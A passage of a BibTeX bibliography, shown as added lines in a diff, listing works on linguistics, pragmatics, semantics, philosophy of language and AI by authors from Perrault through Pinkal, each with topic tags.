and More Developmental Evidence + against the Simulation (Role-Taking) Theory}, + booktitle = {Mental Simulation: Evaluations and Applications}, + publisher = {Blackwell Publishers}, + year = {1995}, + editor = {Martin Davies and Tony Stone}, + pages = {159--173}, + address = {Oxford}, + topic = {folk-psychology;developmental-psychology; + mental-simulation;propositional-attitude-ascription;} + } + +@inproceedings{ perrault-etal:1978a, + author = {C. Raymond Perrault and James F. Allen and Philip R. Cohen}, + title = {Speech Acts as a Basis for Understanding Dialogue Coherence}, + booktitle = {Proceedings of the Second Conference on Theoretical + Issues in Natural Language Processing}, + year = {1978}, + address = {University of Illinois at Urbana-Champaigne}, + month = {July}, + missinginfo = {Editor, Organization, Publisher}, + topic = {speech-acts;discourse-planning;coherence;pragmatics;} + } + +@article{ perrault-allen_jf:1980a, + author = {C. Raymond Perrault and James F. Allen}, + title = {A Plan-Based Analysis of Indirect Speech Acts}, + journal = {American Journal of Computational Linguistics}, + year = {1980}, + volume = {6}, + number = {3--4}, + pages = {167---182}, + topic = {speech-acts;pragmatics;indirect-speech-acts;} + } + +@incollection{ perrault:1986a, + author = {C. Raymond Perrault}, + title = {An Application of Default Logic to Speech Act Theory}, + booktitle = {Reasoning about Actions and Plans}, + publisher = {Morgan Kaufmann}, + year = {1986}, + editor = {Michael P. Georgeff and Amy Lansky}, + pages = {161--185}, + address = {Los Altos, California}, + topic = {speech-acts;pragmatics;nm-ling;nonmonotonic-logic;} + } + +@incollection{ perrault-grosz:1986b, + author = {Raymond C. Perrault and Barbara J. Grosz}, + title = {Natural Language Interfaces}, + booktitle = {Annual Review of Computer Science}, + publisher = {Annual Reviews Inc.}, + year = {1986}, + editor = {J.F. Traub}, + pages = {435--452}, + address = {Palo Alto, California}, + missinginfo = {E's 1st name.}, + topic = {nl-interfaces;} + } + +@incollection{ perrault-grosz:1988a, + author = {C. Raymond Perrault and Barbara J. Grosz}, + title = {Natural-Language Interfaces}, + booktitle = {Exploring Artificial Intelligence}, + publisher = {Morgan Kaufmann}, + year = {1988}, + editor = {Howard E. Shrobe}, + pages = {133--172}, + address = {San Mateo, California}, + topic = {nl-interpretation;nl-survey;nl-kr;kr-course;nl-interfaces;} + } + +@article{ perrault:1993a, + author = {C. Raymond Perrault}, + title = {Review of {\it Meaning and Grammar: An Introduction to + Semantics}, by {G}ennaro {C}hierchia and {S}ally + {M}c{C}onnell-{G}inet)}, + journal = {Artificial Intelligence}, + year = {1993}, + volume = {63}, + number = {1--2}, + pages = {493--502}, + xref = {Review of chierchia-mcconnellginet:1992a.}, + topic = {nl-semantics;} + } + +@incollection{ perretclermont-etal:1991a, + author = {Anne-Nelly Perret-Clermont and Jean-Fran{\c}ois Perret and Nancy + Bell}, + title = {The Social Construction of Meaning and Cognitive + Activity in Elementary School Children}, + booktitle = {Perspectives on Socially Shared Cognition}, + publisher = {American Psychological Association}, + year = {1991}, + editor = {Lauren B. Resnick and John M. Levine and + Stephanie D. Teasley}, + pages = {41--62}, + address = {Washington, D.C.}, + topic = {social-psychology;shared-cognition;} + } + +@incollection{ perry:1984a, + author = {John Perry}, + title = {Contradictory Situations}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris Publications}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {313--324}, + address = {Dordrecht}, + topic = {situation-theory;paraconsistency;} + } + +@incollection{ perry:1998a2, + author = {John Perry}, + title = {Indexicals, Contexts, and Unarticulated Constituents}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {1--11}, + address = {Stanford, California}, + xref = {Conference publication: perry:1998a1.}, + topic = {indexicals;context;semantics-of-proper-names; + philosophy-of-language;} + } + +@article{ perry_j:1977a, + author = {John Perry}, + title = {Frege on Demonstratives}, + journal = {The Philosophical Review}, + year = {1977}, + volume = {86}, + pages = {474--497}, + number = {4}, + topic = {Frege;demonstratives;indexicals;} + } + +@article{ perry_j:1980a, + author = {John Perry}, + title = {A Problem about Continued Belief}, + journal = {Pacific Philosophical Quarterly}, + year = {1980}, + volume = {61}, + pages = {317--332}, + missinginfo = {number}, + topic = {propositional-attitudes;belief;} + } + +@incollection{ perry_j:1983a, + author = {John Perry}, + title = {Casta\~neda on He and {I}}, + booktitle = {Agent, Language, and The Structure of the World: Essays + Presented to {H}ector-{N}eri {C}asta\~neda, with His Replies}, + publisher = {Hackett Publishing Co.}, + year = {1983}, + editor = {James E. Tomberlin}, + address = {Indianapolis, Indiana}, + topic = {indexicals;} + } + +@article{ perry_j:1986a, + author = {John Perry}, + title = {From Worlds to Situations}, + journal = {Journal of Philosophical Logic}, + year = {1986}, + volume = {15}, + number = {1}, + pages = {83--81}, + topic = {situation-theory;possible-worlds-semantics;} + } + +@incollection{ perry_j:1986b, + author = {John Perry}, + title = {Perception, Action, and the Structure of Believing}, + booktitle = {Philosophical Grounds of Rationality}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Richard E. Grandy and Richard Warner}, + pages = {333--361}, + address = {Oxford}, + topic = {belief;} + } + +@incollection{ perry_j:1986c, + author = {John Perry}, + title = {Indexicals and Demonstratives}, + booktitle = {A Companion to the Philosophy of Language}, + publisher = {Oxford University Press}, + year = {1986}, + editor = {Crispin Wright and Bob Hale}, + pages = {586--612}, + address = {Oxford}, + note = {Also available at + http:\\www.csli.stanford.edu/\user{}john/PHILPAPERS/shortind.pdf.}, + topic = {indexicals;demonstratives;philosophy-of-language;} + } + +@incollection{ perry_j:1997a, + author = {John Perry}, + title = {Reflexivity, Indexicality, and Names}, + booktitle = {Direct Reference, Indexicality, and Names}, + publisher = {{CSLI} Publications}, + year = {1997}, + editor = {W. Kunne et al.}, + pages = {3--19}, + address = {Stanford, California}, + missinginfo = {editors}, + note = {Also available at + http:\\www.csli.stanford.edu/\user{}john/PHILPAPERS/names.pdf.}, + topic = {indexicals;semantics-of-proper-names;philosophy-of-language;} + } + +@incollection{ perry_j:1998a1, + author = {John Perry}, + title = {Indexicals, Contexts, and Unarticulated Constituents}, + booktitle = {Direct Reference, and Names}, + publisher = {Proceedings of the 1995 {CSLI}-{A}msterdam + Logic, Language, and Computation Conference}, + year = {1998}, + editor = {W. Kunne et al.}, + address = {Stanford, California}, + missinginfo = {editors,pages}, + note = {Also available at/ + http:\\www.csli.stanford.edu/\user{}john/PHILPAPERS/context.pdf.}, + xref = {Republication: perry:1998a2}, + topic = {indexicals;context;semantics-of-proper-names; + philosophy-of-language;} + } + +@incollection{ perry_j:1998b, + author = {John Perry}, + title = {Indexicals, Contexts, and Unarticulated Constituents}, + booktitle = {Computing Natural Language}, + publisher = {{CSLI} Publications}, + year = {1998}, + editor = {Atocha Aliseda and Rob {van Glabbeek} and Dag Westerst{\aa}hl}, + pages = {1--11}, + address = {Stanford, California}, + topic = {indexicals;context;pragmatics;} + } + +@book{ perry_j:2001a, + author = {John Perry}, + title = {Knowledge, Possibility, and Consciousness}, + publisher = {The {MIT} Press}, + year = {2001}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-16199-00}, + topic = {consciousness;philosophy-of-mind;} + } + +@book{ perry_ta:1980a, + editor = {Thomas A. Perry}, + title = {Evidence and Argumentation in Linguistics}, + publisher = {Walter de Gruyter}, + year = {1980}, + address = {Berlin}, + topic = {philosophy-of-linguistics;} + } + +@book{ persson:1981a, + author = {Ingmar Persson}, + title = {Reasons and Reason-Governed Actions}, + publisher = {Studentlitteratur}, + year = {1981}, + address = {Lund}, + ISBN = {917222360x}, + topic = {reasons-for-acting;} + } + +@article{ perszyk:1993a, + author = {Kenneth j. Perszyk}, + title = {Against Extended Modal Realism}, + journal = {Journal of Philosophical Logic}, + year = {1993}, + volume = {22}, + number = {2}, + pages = {205--214}, + topic = {foundations-of-modal-logic;} + } + +@incollection{ perywoodley:1998a, + author = {Marie-Paule P\'ery-Woodley}, + title = {Signalling in Written Text: A Corpus-Based Approach}, + booktitle = {Discourse Relations and Discourse Markers: Proceedings + of the Conference}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Manfred Stede and Leo Wanner and Eduard Hovy}, + pages = {79--85}, + address = {Somerset, New Jersey}, + topic = {discourse-cue-words;discourse-structure;corpus-linguistics;} + } + +@incollection{ peschel-riedel:1977a, + author = {M. Peschel and C. Riedel}, + title = {Use of Vector Optimization in Multiobjective Decision + Making}, + booktitle = {Conflicting Objectives in Decisions}, + publisher = {John Wiley and Sons}, + year = {1977}, + editor = {David E. Bell and Ralph L. Keeney and Howard Raiffa}, + pages = {97--122}, + address = {New York}, + topic = {decision-analysis;multiattribute-utility;} + } + +@phdthesis{ pesetsky:1982a, + author = {David Pesetsky}, + title = {Paths and Categories}, + school = {Linguistics Department, Massachusetts Institute of + Technology}, + year = {1982}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;} + } + +@incollection{ pesetsky:1987a, + author = {David Pesetsky}, + title = {Wh-in-Situ: Movement and Unselective Binding}, + booktitle = {The Representation of (In)definites}, + publisher = {The {MIT} Press}, + year = {1987}, + editor = {Eric Reuland and Alice {ter Meulen}}, + address = {Cambridge, Massachusetts}, + missinginfo = {98--129}, + topic = {nl-semantics;indefiniteness;} + } + +@book{ pesetsky:1994a, + author = {David Pesetsky}, + title = {Zero Syntax}, + publisher = {The {MIT} Press}, + year = {1994}, + address = {Cambridge, Massachusetts}, + topic = {nl-syntax;lexical-semantics;} + } + +@incollection{ peter-grote:1999a, + author = {Gerhard Peter and Brigitte Grote}, + title = {Using Context to Guide Information Search for Preventative + Quality Management}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {503--506}, + address = {Berlin}, + topic = {context;decision-support;} + } + +@incollection{ petermann:1998a, + author = {U. Petermann}, + title = {Introduction (to Part {II}: Special Calculi and + Refinements}, + booktitle = {Automated Deduction: A Basis for Applications. + Volume {I}, Foundations: Calculi and Methods}, + publisher = {Kluwer Academic Publishers}, + year = {1998}, + editor = {Wolfgang Bibel and Peter H. Schmidt}, + address = {Dordrecht}, + missinginfo = {A's 1st name, pages}, + topic = {theorem-proving;applied-logic;} + } + +@book{ peters:1972a, + editor = {Stanley Peters}, + title = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + address = {Englewood Cliffs, New Jersey}, + contentnote = {TC: + 1. Charles Fillmore, "On Generativity" + 2. Joseph Emonds, "A Reformulation of Certain Syntactic + Transformations" + 3. Noam Chomsky, "Some Empirical Issues in the Theory of + Transformational Grammar" + 4. Paul M. Postal, "The Best Theory" + 5. Stanley Peters, "The Projection Problem: How is a Grammar + to be Selected?" + 6. Paul Kiparsky, "Explanation in Phonology" + }, + topic = {linguistic-theory-survey;philosophy-of-linguistics;} + } + +@incollection{ peters:1972b, + author = {Stanley Peters}, + title = {The Projection Problem: How is a Grammar to be Selected?}, + booktitle = {Goals of Linguistic Theory}, + publisher = {Prentice-Hall, Inc.}, + year = {1972}, + editor = {Stanley Peters}, + pages = {171--188}, + address = {Englewood Cliffs, New Jersey}, + topic = {transformational-grammar;philosophy-of-linguistics;l!-acquisition;} + } + +@article{ peterson:1982a, + author = {Philip L. Peterson}, + title = {Anaphoric Reference to Facts, Propositions, and Events}, + journal = {Linguistics and Philosophy}, + year = {1982}, + volume = {5}, + number = {2}, + pages = {235--276}, + topic = {anaphora;propositions;events;facts;} + } + +@article{ peterson:1991a, + author = {Philip L. Peterson}, + title = {Complexly Fractional Syllogistic Quantifiers}, + journal = {Journal of Philosophical Logic}, + year = {1991}, + volume = {20}, + number = {3}, + pages = {287--313}, + topic = {fractional-quantifiers;} + } + +@article{ peterson:1994a, + author = {Philip L. Peterson}, + title = {Attitudinal Opacity}, + journal = {Linguistics and Philosophy}, + year = {1994}, + volume = {17}, + number = {2}, + pages = {159--220}, + topic = {propositional-attitudes;intensionality;} + } + +@article{ peterson:1995a, + author = {Philip L. Peterson}, + title = {Distribution and Proportion}, + journal = {Journal of Philosophical Logic}, + year = {1995}, + volume = {24}, + number = {2}, + pages = {193--225}, + topic = {fractional-quantifiers;} + } + +@article{ peterson:1999a, + author = {Philip L. Peterson}, + title = {The Meanings of Natural Kind Terms}, + journal = {Philosophia}, + year = {1999}, + volume = {24}, + number = {1--2}, + pages = {137--176}, + topic = {nl-semantics;natural-kinds;} + } + +@article{ peterson_dm:2001a, + author = {Donald M. Peterson}, + title = {Review of {\it The {MIT} Encyclopedia of the Cognitive + Sciences,} edited by {R}obert {A}. {W}ilson and {F}rank {C}. + {K}eil}, + journal = {Artificial Intelligence}, + year = {2001}, + volume = {130}, + number = {2}, + pages = {213--216}, + xref = {Review of: wilson_ra-keil:1999a.}, + topic = {cognitive-science-general;cognitive-science-survey;} + } + +@unpublished{ petofi:1974b, + author = {J\'anos A. Pet\"ofi}, + title = {Beyond the Sentence, between Linguistics and Logic}, + year = {1976}, + note = {Unpublished manuscript, Linguistics Department, + University of Bielefeld}, + missinginfo = {Date is a guess.}, + topic = {pragmatics;discourse;discourse-structure;} + } + +@book{ petofi-rieser:1974a, + editor = {J\'anos S. Pet\"ofi and Hannes Rieser}, + title = {Presuppositions in Philosophy and Linguistics}, + publisher = {Athen\"aum Verlag}, + year = {1974}, + address = {Frankfurt}, + topic = {presupposition;} + } + +@unpublished{ petofi:1976a, + author = {J\'anos A. Pet\"ofi}, + title = {Structure and Function of the Grammatical Component of + the Text-Structure World-Structure Theory}, + year = {1976}, + note = {Unpublished manuscript, Linguistics Department, + University of Bielefeld}, + topic = {text-grammar;discourse;pragmatics;} + } + +@unpublished{ petofi:1976b, + author = {J\'anos A. Pet\"ofi}, + title = {A Formal Semiotic Text Theory as an Integrated Theory of + Natural Language}, + year = {1976}, + note = {Unpublished manuscript, Linguistics Department, + University of Bielefeld}, + topic = {text-grammar;discourse;pragmatics;semiotics;} + } + +@book{ petofi-bredemeier:1977a, + editor = {J\'anos A. Pet\"ofi and J\"urgen Bredemeier}, + title = {Das {L}exikon in der {G}rammatik, die {G}rammatik im {L}exikon}, + publisher = {Buske}, + year = {1977}, + address = {Hamburg}, + ISBN = {3871182885 (v. 1)}, + topic = {lexicon;} + } + +@book{ petofi:1979a, + editor = {J\'anos A. Pet\"ofi}, + title = {Text Vs. Sentence: Basic Questions of Text Linguistics}, + publisher = {H. Buske}, + year = {1979}, + address = {Hamburg}, + ISBN = {3871183679}, + topic = {text-grammar;discourse;pragmatics;} + } + +@book{ petofi:1981a, + editor = {J\'anos A. Pet\"ofi}, + title = {Text Vs Sentence, Continued}, + publisher = {H. Buske}, + year = {1981}, + address = {Hamburg}, + ISBN = {3871184802}, + topic = {text-grammar;discourse;pragmatics;} + } + +@book{ petofi:1983a, + editor = {J\'anos A. Pet\"ofi}, + title = {Texte und {S}achverhalte: {A}spekte der {W}ort- und + {T}extbedeutung}, + publisher = {H. Buske}, + year = {1983}, + address = {Hamburg}, + ISBN = {3871186007}, + topic = {text-grammar;discourse;pragmatics;} + } + +@incollection{ petofi_ja:1974b, + author = {J\'anos A. Pet\"ofi}, + title = {Some Remarks on `Formal Pragmatics'\, } , + booktitle = {Probleme der modeltheoretische {I}nterpretation den {T}exten}, + publisher = {Buske}, + year = {1974}, + editor = {J\'anos A. Pet\"ofi}, + pages = {1--13}, + address = {Hamburg}, + topic = {pragmatics;} + } + +@unpublished{ petofi_ja:1974c, + author = {J\'anos A. Pet\"ofi}, + title = {Some Aspects of a Multi-Purpose Thesaurus}, + year = {1976}, + note = {Unpublished manuscript, Linguistics Department, + University of Bielefeld}, + topic = {computational-lexicography;} + } + +@book{ petofi_js-rieser:1973a, + editor = {J\'anos S. Pet\"ofi and Hannes Rieser}, + title = {Studies in Text Grammar}, + publisher = {D. Reidel Publishing Co.}, + year = {1973}, + address = {Dordrecht}, + topic = {discourse-analysis;} + } + +@book{ petofi_js:1974a, + author = {J\'anos S. Pet\"ofi}, + title = {Probleme der Modelltheoretischen Interpretation von Texten}, + publisher = {Buske}, + year = {1974}, + address = {Hamburg}, + ISBN = {3871181498}, + topic = {discourse-analysis;} +} + +@book{ petofi_js:1981a, + author = {J\'anos S. Pet\"ofi}, + title = {Text, {K}ontext, {I}nterpretation: {E}inige {A}spekte der + {T}exttheoretischen {F}orschung}, + publisher = {Buske}, + year = {1981}, + address = {Hamburg}, + ISBN = {3871185035}, + topic = {discourse-analysis;pragmatics;} + } + +@book{ petofi_js:1987a, + editor = {J\'anos S. Pet\"ofi}, + title = {Text and Discourse Constitution: Empirical Aspects + Theoretical Approaches}, + publisher = {Walter de Gruyter}, + year = {1987}, + address = {Berlin}, + ISBN = {0899253261}, + topic = {discourse-analysis;pragmatics;} + } + +@incollection{ petrick-levesque:2002a, + author = {Ronald P.A. Petrick and Hector J. Levesque}, + title = {Knowledge Equivalence in Combined Action Theories}, + booktitle = {{KR2002}: Principles of Knowledge Representation and + Reasoning}, + publisher = {Morgan Kaufmann}, + year = {2002}, + editor = {Dieter Fensel and Fausto Giunchiglia and Deborah + McGuinness and Mary-Anne Williams}, + pages = {303--314}, + address = {San Francisco, California}, + topic = {kr;epistemic-logic;temporal-reasoning;action-formalisms;} + } + +@inproceedings{ petrie:1991a, + author = {Charles J. {Petrie, Jr.}}, + title = {Context Maintenance}, + booktitle = {Proceedings of the Ninth National Conference on + Artificial Intelligence}, + year = {1991}, + editor = {Thomas Dean and Kathy McKeown}, + pages = {288--295}, + organization = {American Association for Artificial Intelligence}, + publisher = {MIT Press}, + address = {Cambridge, Massachusetts}, + topic = {context;truth-maintenance;heuristics;} + } + +@incollection{ petronio:1985a, + author = {Karen Petronio}, + title = {Bare Noun Phrases Verbs and Quantification in {ASL}}, + booktitle = {Quantification in Natural Languages, Vol. 2}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, + editor = {Emmon Bach and Eloise Jelinek and Angelika Kratzer and + Barbara Partee}, + pages = {603--618}, + address = {Dordrecht}, + topic = {nl-semantics;nl-quantifiers;American-sign-language;} + } + +@book{ pettit-mcdowell:1986a, + editor = {Philip Pettit and John H. McDowell}, + title = {Subject, Thought, and Context}, + publisher = {Oxford University Press}, + year = {1986}, + address = {Oxford}, + ISBN = {0198247362}, + topic = {philosophy-of-language;} + } + +@article{ pettit:1988a, + author = {Philip Pettit}, + title = {The Prisoner's Dilemma is an Unexploitable + {N}ewcomb Problem}, + journal = {Synth\'ese}, + year = {1988}, + volume = {76}, + number = {1}, + pages = {123--134}, + topic = {prisoner's-dilemma;} + } + +@book{ pettit:1993a, + author = {Philip Pettit}, + title = {The Common Mind: An Essay on Psychology, Society, + and Politics}, + publisher = {Oxford University Press}, + year = {1993}, + address = {Oxford}, + topic = {intentionality;philosophy-of-mind;philosophy-and-social-science; + political-philosophy;} + } + +@article{ pettit-smith:1996a, + author = {Philip Pettit and Michael Smith}, + title = {Freedom in Desire}, + journal = {The Journal of Philosophy}, + year = {1996}, + volume = {93}, + number = {9}, + pages = {429--449}, + topic = {agency;agent-attitudes;freedom;} + } + +@inproceedings{ pfahringer:1992a, + author = {Bernhard Pfahringer}, + title = {The Logical Way to Build a {DL}-Based {KR} System}, + booktitle = {Working Notes, {AAAI} Fall Symposium on Issues in Description + Logics: Users Meet Developers}, + year = {1992}, + editor = {Robert MacGregor}, + pages = {76--77}, + organization = {American Association for Artificial Intelligence}, + publisher = {American Association for Artificial Intelligence}, + address = {Menlo Park, California}, + topic = {kr;krcourse;taxonomic-logics;logic-programming;} + } + +@book{ pfeifer-scheier:1999a, + author = {Rolf Pfeifer and Christian Scheier}, + title = {Understanding Intelligence}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-16181-8}, + xref = {Review: lane_pcr-gobet:2001a.}, + topic = {intelligence;foundations-of-AI; + foundations-of-cognitive-science;robotics;} + } + +@book{ pfeifer_r-scheier:1999a, + author = {Rolf Pfeifer and Christian Scheier}, + title = {Understanding Intelligence}, + publisher = {The {MIT} Press}, + year = {1999}, + address = {Cambridge, Massachusetts}, + ISBN = {0-262-1681-8}, + xref = {Review: lane_pcr-gobet:2001a.}, + topic = {foundations-of-cognitive-science;} + } + +@article{ phillips:2001a, + author = {John F. Phillips}, + title = {Modal Logics of Succession for 2-Dimensional Integral + Spacetime}, + journal = {Journal of Philosophical Logic}, + year = {2001}, + volume = {30}, + number = {1}, + pages = {1--25}, + topic = {modal-logic;spatial-logic;} + } + +@article{ phillips_d:1994a, + author = {David Phillips}, + title = {Review of {\it The Inexact and Separate Science of + Economics}, by {D}aniel {M}. {H}ausman}, + journal = {The Philosophical Review}, + year = {1994}, + volume = {103}, + number = {2}, + pages = {348--350}, + xref = {Review of: hausman:1992a.}, + topic = {philosophy-of-economics;} + } + +@article{ phillips_jd:1992a, + author = {John D. Phillips}, + title = {A Computational Representation for Generalized Phrase + Structure Grammars}, + journal = {Linguistics and Philosophy}, + year = {1992}, + volume = {15}, + number = {3}, + pages = {255--287}, + topic = {GPSG;grammar-formalisms;} + } + +@incollection{ pianesi-varzi:1999a, + author = {Fabio Pianesi and Achille C. Varzi}, + title = {The Context-Dependency of Temporal Reference in Event + Semantics}, + booktitle = {Modeling and Using Contexts: Proceedings of + the Second International and Interdisciplinary + Conference, {CONTEXT}'99}, + publisher = {Springer-Verlag}, + year = {1999}, + editor = {Paolo Bouquet and Luigi Serafini and Patrick + Br\'ezillon and Massimo Benerecetti and Francesca + Castellani}, + pages = {507--510}, + address = {Berlin}, + topic = {context;temporal-reference;} + } + +@article{ pianesi:2002a, + author = {Fabio Pianesi}, + title = {Review of {\it Parts and Wholes in Semantics}, by + {F}rederike {M}oltmann}, + journal = {Linguistics and Philosophy}, + year = {2002}, + volume = {25}, + number = {1}, + pages = {97--120}, + xref = {Review of: moltman:1997b.}, + topic = {mereology;nl-semantics;} + } + +@book{ piatellipalmarini:1980a, + editor = {Massimo Piatelli-Palmarini}, + title = {Language and Learning: The Debate Between Jean Piaget and + Noam Chomsky}, + publisher = {Harvard University Press}, + year = {1980}, + address = {Cambridge, Massachusetts}, + missinginfo = {Check A's 1st name.}, + xref = {Review: pylyshyn:1981a}, + topic = {L1-language-learning;philosophy-of-linguistics;} + } + +@article{ piazza:2001a, + author = {Mario Piazza}, + title = {Exchange Rules}, + journal = {Journal of Symbolic Logic}, + year = {2001}, + volume = {66}, + number = {2}, + pages = {509--516}, + topic = {proof-theory;substructural-logics;} + } + +@incollection{ piccione-rubenstein:1995a2, + author = {Michele Piccione and Ariel Rubenstein}, + title = {On the Interpretation of Decision Problems with Imperfect + Recall (Abstract)}, + booktitle = {Theoretical Aspects of Rationality and Knowledge: + Proceedings of the Sixth Conference ({TARK} 1996)}, + publisher = {Morgan Kaufmann}, + year = {1996}, + editor = {Yoav Shoham}, + pages = {75--76}, + address = {San Francisco}, + topic = {resource-limited-game-theory;} + } + +@techreport{ piccione-rubinstein:1995a1, + author = {Michele Piccione and Ariel Rubinstein}, + title = {On the Interpretation of Decision Problems With Imperfect + Recall}, + institution = {The Eitan School of Economics, Tel Aviv University.}, + number = {24--94}, + year = {1995}, + address = {Tel Aviv, Israel}, + note = {First Written, 1994. Revised, 1995.}, + missinginfo = {number}, + xref = {See 1995a2}, + topic = {game-theory;resource-limited-reasoning; + absent-minded-driver-problem;} + } + +@book{ pickering:1980a, + author = {Wilbur Pickering}, + title = {A Framework for Discourse Analysis}, + publisher = {Summer Institute of Linguistics}, + year = {1980}, + address = {Dallas}, + topic = {discourse-analysis;} +} + +@incollection{ pico-vidal:1998a, + author = {David Pic\'o and Enrique Vidal}, + title = {Learning Finite State Models for Language Understanding}, + booktitle = {{FSMNLP'98}: International Workshop on Finite State + Methods in Natural Language Processing}, + publisher = {Association for Computational Linguistics}, + year = {1998}, + editor = {Lauri Karttunen}, + pages = {69--78}, + address = {Somerset, New Jersey}, + topic = {nl-processing;finite-state-nlp;machine-learning;} + } + +@inproceedings{ pientka-kreitz:1998a, + author = {Brigitte Pientka and Christoph Kreitz}, + title = {Instantiation of Existentially Quantified Variables in + Induction Specification Proofs}, + booktitle = {Artificial Intelligence and Symbolic Computation: + Proceedings of {AISC'98}}, + year = {1998}, + editor = {Jacques Calmet and Jan Plaza}, + pages = {247--258}, + publisher = {Springer Verlag}, + address = {Berlin}, + topic = {theorem-proving;} + } + +@article{ pierce-kuipers_bj:1997a, + author = {David Pierce and Benjamin J. Kuipers}, + title = {Map Learning with Uninterpreted Sensors and Effectors}, + journal = {Artificial Intelligence}, + year = {1997}, + volume = {92}, + number = {1--2}, + pages = {169--227}, + topic = {map-building;} + } + +@phdthesis{ pierrehumbert:1980a1, + author = {Janet Pierrehumbert}, + year = {1980}, + title = {The Phonetics and Phonology of {E}nglish Intonation}, + School = {MIT}, + xref = {IULC Publication: pierrehumbert:1980a2}, + topic = {intonation;} + } + +@book{ pierrehumbert:1980a2, + author = {Janet Pierrehumbert}, + title = {The Phonology and Phonetics of {E}nglish Intonation}, + publisher = {Indiana University Linguistics Club}, + year = {1987}, + address = {310 Lindley Hall, Bloomington, Indiana}, + xref = {Dissertation: pierrehumbert:1980a1}, + topic = {intonation;} + } + +@article{ pietarinen:1999a, + author = {Ahti Pietarinen}, + title = {Review of {\em Language, Truth and Logic in Mathematics}, + by {J}aakko {H}intikka}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {121--124}, + xref = {Review of hintikka:1998a.}, + topic = {philosophical-logic;philosophy-of-mathematics;} + } + +@article{ pietarinen:1999b, + author = {Ahti Pietarinen}, + title = {Review of {\em paradigms for Language Theory + and Other Essays}, by {J}aakko {H}intikka}, + journal = {Journal of Logic, Language, and Information}, + year = {1999}, + volume = {8}, + number = {1}, + pages = {124--127}, + xref = {Review of hintikka:1998b.}, + topic = {game-theoretical-semantics;} + } + +@article{ pietroski-rey:1995a, + author = {Paul M. Pietroski and Georges Rey}, + title = {When Other Things Aren't Equal: Saving Ceteris + Paribus Laws from Vacuity}, + journal = {British Journal for the Philosophy of Science}, + year = {1995}, + volume = {46}, + number = {1}, + pages = {81--110}, + topic = {ramification-problem;natural-laws;} + } + +@article{ pietrowski:2000a, + author = {Paul M. Pietrowski}, + title = {On Explaining That}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {5}, + pages = {655--662}, + topic = {explanation;event-semantics;} + } + +@book{ pilkington:1992a, + author = {Rachel M. Pilkington}, + title = {Intelligent Help: Communicating With Knowledge-Based + Systems}, + publisher = {Paul Chapman}, + year = {1992}, + address = {London}, + ISBN = {1853961361}, + topic = {HCI;help-systems;} + } + +@book{ pimental-teixeira:1993a, + author = {Ken Pimental and Kevin Teixeira}, + title = {Virtual Reality: Through The New Looking Glass}, + publisher = {Intel/Windcrest}, + year = {1993}, + address = {New York}, + ISBN = {0830640649 (pbk.)}, + topic = {virtual-reality;} + } + +@book{ pimentel-teixeira:1995a, + author = {Ken Pimentel and Kevin Teixeira}, + edition= {2}, + title = {Virtual Reality: Through The New Looking Glass}, + publisher = {McGraw-Hill}, + year = {1995}, + address = {New York}, + ISBN = {007050167X}, + topic = {virtual-reality;} + } + +@article{ pineda-garza:2000a, + author = {Luis Pineda and Gabriela Garza}, + title = {A Model for Multimodal Reference Resolution}, + journal = {Computational Linguistics}, + year = {2000}, + volume = {26}, + number = {2}, + pages = {139--193}, + topic = {reference-resolution;multimedia-interpretation;} + } + +@unpublished{ pinkal:1978a, + author = {Manfred Pinkal}, + title = {How to Refer with Vague Descriptions}, + year = {1978}, + note = {Unpublished manuscript, Universit\"at Dusseldorf.}, + missinginfo = {Year is a guess.}, + topic = {vagueness;} + } + +@incollection{ pinkal:1979a, + author = {Manfred Pinkal}, + title = {How to Refer with Vague Descriptions}, + booktitle = {Semantics from Different Points of View}, + year = {1979}, + editor = {Rainer B\"auerle and Urs Egli and Arnim {von Stechow}}, + publisher = {Springer-Verlag}, + address = {Minneapolis}, + pages = {32--50}, + topic = {reference;definite-descriptions;vagueness;} + } + +@incollection{ pinkal:1981a, + author = {Manfred Pinkal}, + title = {Some Semantic and Pragmatic Properties of {G}erman {\it + glauben}}, + booktitle = {Words, Worlds, and Contexts: New Approaches to Word + Semantics}, + publisher = {Walter de Gruyter}, + year = {1981}, + editor = {Hans-J\"urgen Eikmeyer and Hannes Rieser}, + pages = {469--484}, + address = {Berlin}, + topic = {lexical-semantics;German-language;propositional-attitudes;} + } + +@incollection{ pinkal:1983a, + author = {Manfred Pinkal}, + title = {Towards a Semantics of Precization}, + booktitle = {Approaching Vagueness}, + publisher = {North-Holland}, + year = {1983}, + editor = {Thomas T. Ballmer and Manfred Pinkal}, + pages = {13--57}, + address = {Amsterdam}, + topic = {vagueness;} + } + +@incollection{ pinkal:1983b, + author = {Manfred Pinkal}, + title = {On the Limits of Lexical Meaning}, + booktitle = {Meaning, Use, and Interpretation of Language}, + publisher = {Walter de Gruyter}, + year = {1983}, + editor = {Rainer B\"auerle and Christoph Schwarze and Arnim von + Stechow}, + address = {Berlin}, + topic = {nl-semantics;lexical-semantics;} + } + +@incollection{ pinkal:1984a, + author = {Manfred Pinkal}, + title = {Consistency and Context Change: The Sorites Paradox}, + booktitle = {Varieties of Formal Semantics}, + publisher = {Foris}, + year = {1984}, + editor = {Fred Landman and Frank Veltman}, + pages = {325--343}, + address = {Dordrecht}, + topic = {vagueness;sorites-paradox;} + } + +@book{ pinkal:1995a, + author = {Manfred Pinkal}, + title = {Logic and Lexicon: The Semantics of the Indefinite}, + publisher = {Kluwer Academic Publishers}, + year = {1995}, 